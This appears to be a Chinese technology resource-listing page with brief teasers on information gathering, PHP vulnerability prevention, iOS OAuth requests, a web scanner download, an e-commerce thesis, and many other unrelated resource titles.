2020-09-09 22:49:47网上都有很多信息收集的东西,都是那一套,扫端口,找子域名,看站有没有泄露什么东西,什么敏感文件,看网站的框架。现在,我就先给大家梳理一下。 信息收集的本质有2个,一是把现有的资源扩大,能 -
PHP的漏洞与防范
2014-10-23 09:55:38漏洞无非这么几类,XSS、sql注入、命令执行、上传漏洞、本地包含、远程包含、权限绕过、信息泄露、cookie伪造、CSRF(跨站请求)等。这些漏洞不仅仅是针对PHP语言的,本文只是简单介绍PHP网站建设如何有效防止这些漏洞... -
iOS Moya实现OAuth请求的方法
2021-01-20 09:18:440. 起源 开放授权(OAuth)是一个开放...项目使用 MVVM 架构,引入了 Rx 全家桶,网络请求框架使用了 Moya ,以及处理 Oauth 相关的库 OAuth2 。 2. OAuth2 部分 参阅 OAuth2 库的 README ,完成 OAuth 的信息配置: -
JSky 3.5.1.905(企业破解版-最好用web扫描工具的)
2018-04-25 11:13:16竭思是基于XML的框架设计的,可以进行自由扩展,让您根据需求二次开发。 企业或许在一些安全厂商的建议下已经部署了各种各样的防护设备,然而部署这些产品就足够了吗?为什么我们的网站还是会被入侵?为什么我们的... -
电子商务交易系统的设计与实现(附完整代码+毕业论文--答辩最终版)
2018-08-21 10:46:51此外,系统有着优秀的安全加密措施,保证用户的个人信息不会泄露。同时系统还具备可升级能力,能够满足未来不断增长的用户需求。 本文阐述了电子商务交易系统详细的设计和实施过程,从功能模块的实现到数据库的应用...
-
nkosi-tauro.github.io-源码
-
PCB能量速度计算软件
-
OnlineClass-源码
-
MySQL 四类管理日志(详解及高阶配置)
-
零基础一小时极简以太坊智能合约开发环境搭建并开发部署
-
intro-component-with-signup-form-源码
-
Spring基础教程.pdf.zip
-
MySQL 性能优化(思路拓展及实操)
-
《文本处理 awk sed grep ”三剑客”》
-
Blog:博客库-源码
-
library-源码
-
云服务器ssh登录老是自动断开链接的解决办法
-
2021年软考系统规划与管理师-下午历年真题解析视频课程
-
au-fhir-base:供澳大利亚使用的配置文件-源码
-
用Go语言来写区块链(一)
-
access应用的3个开发实例
-
《文件和目录操作命令》
<2.> -
android五大布局!腾讯,字节等大厂面试真题汇总,Android岗
-
2021年 系统架构设计师 系列课
-
data1_final.anns